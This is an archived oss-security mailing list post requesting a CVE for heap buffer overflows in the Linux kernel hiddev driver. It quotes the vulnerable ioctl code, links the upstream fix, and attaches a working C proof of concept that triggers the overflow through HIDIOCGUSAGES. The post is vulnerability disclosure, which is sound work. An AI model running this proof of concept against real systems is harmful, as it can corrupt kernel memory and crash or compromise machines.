Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sat, 25 Jun 2016 23:01:40 -0600
From: Scotty <sbauer@...donthack.me>
To: oss-security@...ts.openwall.com
Cc: cve-assign@...re.org
Subject: CVE Request: Linux kernel HID: hiddev buffer overflows

Good evening,

There is a small buffer overflow in the hiddev driver code which seems to have come due
to a re-factor of the driver in 2008-ish.

If a user-land process calls the hiddev ioctl with the HIDIOCGUSAGES or HIDIOCSUSAGES command,
and passes a report id of HID_REPORT_ID_UNKNOWN it bypasses a series of bounds checks. Later in
the code the attacker can loop on some controlled value and overwrite past the bounds of the
uref_multi array or the value array.


	switch (cmd) {
...
...
...
		case HIDIOCGUSAGES:
/* HEAP OVERFLOW, Attacker controls num_values */
			for (i = 0; i < uref_multi->num_values; i++)
				uref_multi->values[i] =
				    field->value[uref->usage_index + i];
			if (copy_to_user(user_arg, uref_multi,
					 sizeof(*uref_multi)))
				goto fault;
			goto goodreturn;
		case HIDIOCSUSAGES:
/* HEAP OVERFLOW, attacker controls num_values */
			for (i = 0; i < uref_multi->num_values; i++)
				field->value[uref->usage_index + i] =
				    uref_multi->values[i];
			goto goodreturn;
		}

The issue has been fixed upstream here:
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=93a2001bdfd5376c3dc2158653034c20392d15c5

Attached is a PoC illustrating the issue. 

Thank you.


#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <inttypes.h>

static const char *dev_name = "/dev/usb/hiddev0";

typedef uint32_t __u32;
typedef int32_t __s32;

#define HID_REPORT_ID_UNKNOWN 0xffffffff

#define HIDIOCGUSAGES           _IOWR('H', 0x13, struct hiddev_usage_ref_multi)
#define HIDIOCSUSAGES           _IOW('H', 0x14, struct hiddev_usage_ref_multi)

#define HID_REPORT_TYPE_INPUT   1
#define HID_REPORT_TYPE_OUTPUT  2
#define HID_REPORT_TYPE_FEATURE 3
#define HID_REPORT_TYPE_MIN     1
#define HID_REPORT_TYPE_MAX     3

struct hiddev_usage_ref {
         __u32 report_type;
         __u32 report_id;
         __u32 field_index;
         __u32 usage_index;
         __u32 usage_code;
         __s32 value;
};

#define HID_MAX_MULTI_USAGES 1024
struct hiddev_usage_ref_multi {
         struct hiddev_usage_ref uref;
         __u32 num_values;
         __s32 values[HID_MAX_MULTI_USAGES];
};


int main(void)
{
	int fd;
	struct hiddev_usage_ref_multi dev = { 0 };
	uint32_t report_type, usage_code;
	fd = open(dev_name, O_RDWR);
	if (fd < 0) {
		printf("Failed to open %s with errno %s\n", dev_name, strerror(errno));
		return EXIT_FAILURE;
	}

	dev.num_values = 12345679;
	dev.uref.report_id = HID_REPORT_ID_UNKNOWN;

	for (report_type = 1; report_type < HID_REPORT_TYPE_MAX; report_type++) {
		dev.uref.report_type = report_type;
		for (usage_code = 0; usage_code < 0xFFFFFFF; usage_code++) {
			dev.uref.usage_code = usage_code;
			ioctl(fd, HIDIOCGUSAGES, &dev);
		}
	}
	return EXIT_FAILURE;
}


[ CONTENT OF TYPE application/pgp-signature SKIPPED ]

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ